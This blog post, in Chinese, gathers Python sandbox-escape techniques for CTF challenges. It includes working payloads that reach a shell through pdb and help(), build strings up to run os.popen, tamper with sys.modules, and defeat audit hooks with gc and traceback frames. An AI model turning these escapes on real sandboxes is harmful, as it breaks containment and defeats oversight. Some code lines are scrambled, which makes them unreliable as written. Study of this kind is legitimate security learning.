pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
1
2
3
4
5
6
7
8
9
10𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py exp2.py exp.py flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py exp2.py exp.py flag.txthelp 函数
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助(不编码也能打开)
1
2𝘩𝘦𝘭𝘱()
然后输入 os,此时会进入 os 的帮助文档。
1
2help> os
然后再输入
!sh
就可以拿到 /bin/sh, 输入!bash
则可以拿到 /bin/bash1
2
3
4help> os
$ ls
a-z0-9.py exp2.py exp.py flag.txt字符串叠加
参考[CISCN 2023 初赛]pyshell,通过
_
不断的进行字符串的叠加,再利用eval()进行一些命令的执行我们想执行的代码:
__import__("os").popen("tac flag").read()
1
2
3
4
5
6'__import__'
_+'("os").p'
_+'open("ta'
_+'c flag")'
_+'.read()'
变量覆盖与函数篡改
在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.
sys.modules 存放了现有模块的引用, 通过访问
sys.modules['__main__']
就可以访问当前模块定义的所有函数以及全局变量1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32'bbb' aaa =
def my_input():
dict() dict_global =
while True:
try:
input("> ") input_data =
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
compile(input_data, '<string>', 'single') complie_code =
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
import sys
'__main__'] sys.modules[
<module '__main__' (built-in)>
dir(sys.modules['__main__'])
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
'__main__'].aaa sys.modules[
'bbb'除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过
__builtins__
篡改内置函数等,这只是一个思路.总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取。
利用 gc 获取已删除模块
这个思路来源于 writeup by fab1ano – github
这道题的目标是覆盖
__main__
中的__exit
函数,但是题目将sys.modules['__main__']
删除了,无法直接获取.1
2
3
4for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]gc
是Python的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc
模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。
gc
模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。下面是一些 gc 模块中的主要函数:
gc.collect(generation=2)
:这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。gc.get_objects()
:这个函数会返回当前被管理的所有对象的列表。gc.get_referrers(*objs)
:这个函数会返回指向 objs 中任何一个对象的对象列表。
exp 如下:
1
2
3
4
5
6
7
8
9
10for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.
利用 traceback 获取模块
这个思路来源于 writeup by hstocks – github
主动抛出异常, 并获取其后要执行的代码, 然后将
__exit
进行替换, 思路也是十分巧妙.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame
# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back
# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print
# Now we're free to call whatever we want
os.system('cat /flag*')但是实际测试时使用 python 3.11 发现
nxt_frame = tb.tb_frame
会触发object.__getattr__
hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用
[!NOTE]
后面的内容本人看不懂了,还待继续学习,缺乏自己的理解和运用,再往后搬运别人的文章也没什么意义了。不过本人会把相关的参考链接放在末尾,以交流学习。
参考链接
(感谢大佬的文章,收益良多,学到了不少新知识)
- 标题: Python 沙箱逃逸方式及绕过方法整理
- 作者: 耀鳞光翼
- 创建于 : 2025-01-12 22:48:00
- 更新于 : 2025-04-04 12:03:17
- 链接: https://blog.lightwing.top/2025/01/12/python_jail_escape/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。